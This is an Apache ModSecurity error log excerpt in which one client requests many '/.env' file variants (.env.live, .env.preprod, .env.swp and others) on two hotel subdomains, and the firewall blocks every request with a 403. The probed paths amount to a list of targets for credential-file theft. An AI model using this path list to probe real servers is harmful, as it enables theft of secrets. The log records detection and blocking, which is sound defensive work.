[Mon Oct 26 02:27:20.503067 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at7yyMsSJ_JPXSgPpTUCXAAAAA4"]
[Mon Oct 26 02:27:20.614220 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at7yyGVuCUgD8ovs4IEDdwAAABM"]
[Mon Oct 26 02:27:20.614504 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at7yyGVuCUgD8ovs4IEDdwAAABM"]
[Mon Oct 26 02:27:20.614844 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at7yyGVuCUgD8ovs4IEDdwAAABM"]
[Mon Oct 26 02:27:20.672291 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at7yyMsSJ_JPXSgPpTUCXQAAAA4"]
[Mon Oct 26 02:27:20.672515 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at7yyMsSJ_JPXSgPpTUCXQAAAA4"]
[Mon Oct 26 02:27:20.672810 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at7yyMsSJ_JPXSgPpTUCXQAAAA4"]
[Mon Oct 26 02:27:20.732946 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at7yyGVuCUgD8ovs4IEDeAAAABM"]
[Mon Oct 26 02:27:20.733191 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at7yyGVuCUgD8ovs4IEDeAAAABM"]
[Mon Oct 26 02:27:20.733512 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at7yyGVuCUgD8ovs4IEDeAAAABM"]
[Mon Oct 26 02:27:20.866702 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at7yyMsSJ_JPXSgPpTUCXgAAAA4"]
[Mon Oct 26 02:27:20.867071 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at7yyMsSJ_JPXSgPpTUCXgAAAA4"]
[Mon Oct 26 02:27:20.867457 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at7yyMsSJ_JPXSgPpTUCXgAAAA4"]
[Mon Oct 26 02:27:20.957656 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at7yyMsSJ_JPXSgPpTUCXwAAAA4"]
[Mon Oct 26 02:27:20.958031 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at7yyMsSJ_JPXSgPpTUCXwAAAA4"]
[Mon Oct 26 02:27:20.958449 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at7yyMsSJ_JPXSgPpTUCXwAAAA4"]
[Mon Oct 26 02:27:20.995609 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at7yyGVuCUgD8ovs4IEDeQAAABM"]
[Mon Oct 26 02:27:20.995983 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at7yyGVuCUgD8ovs4IEDeQAAABM"]
[Mon Oct 26 02:27:20.996420 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at7yyGVuCUgD8ovs4IEDeQAAABM"]
[Mon Oct 26 02:27:21.072577 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at7yycsSJ_JPXSgPpTUCYAAAAA4"]
[Mon Oct 26 02:27:21.072936 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at7yycsSJ_JPXSgPpTUCYAAAAA4"]
[Mon Oct 26 02:27:21.073337 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at7yycsSJ_JPXSgPpTUCYAAAAA4"]
[Mon Oct 26 02:27:21.136464 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at7yyWVuCUgD8ovs4IEDegAAABM"]
[Mon Oct 26 02:27:21.136686 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at7yyWVuCUgD8ovs4IEDegAAABM"]
[Mon Oct 26 02:27:21.136975 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at7yyWVuCUgD8ovs4IEDegAAABM"]
[Mon Oct 26 02:27:21.165304 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at7yycsSJ_JPXSgPpTUCYQAAAA4"]
[Mon Oct 26 02:27:21.165522 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at7yycsSJ_JPXSgPpTUCYQAAAA4"]
[Mon Oct 26 02:27:21.165813 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at7yycsSJ_JPXSgPpTUCYQAAAA4"]
[Mon Oct 26 02:27:21.311123 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at7yycsSJ_JPXSgPpTUCYgAAAA4"]
[Mon Oct 26 02:27:21.311318 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at7yycsSJ_JPXSgPpTUCYgAAAA4"]
[Mon Oct 26 02:27:21.311581 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at7yycsSJ_JPXSgPpTUCYgAAAA4"]
[Mon Oct 26 02:27:21.316570 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at7yyWVuCUgD8ovs4IEDewAAABM"]
[Mon Oct 26 02:27:21.316703 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at7yyWVuCUgD8ovs4IEDewAAABM"]
[Mon Oct 26 02:27:21.316999 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at7yyWVuCUgD8ovs4IEDewAAABM"]
[Mon Oct 26 02:27:21.474029 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at7yycsSJ_JPXSgPpTUCYwAAAA4"]
[Mon Oct 26 02:27:21.474263 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at7yycsSJ_JPXSgPpTUCYwAAAA4"]
[Mon Oct 26 02:27:21.474594 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at7yycsSJ_JPXSgPpTUCYwAAAA4"]
[Mon Oct 26 02:27:21.598956 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at7yyWVuCUgD8ovs4IEDfAAAABM"]
[Mon Oct 26 02:27:21.599213 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at7yyWVuCUgD8ovs4IEDfAAAABM"]
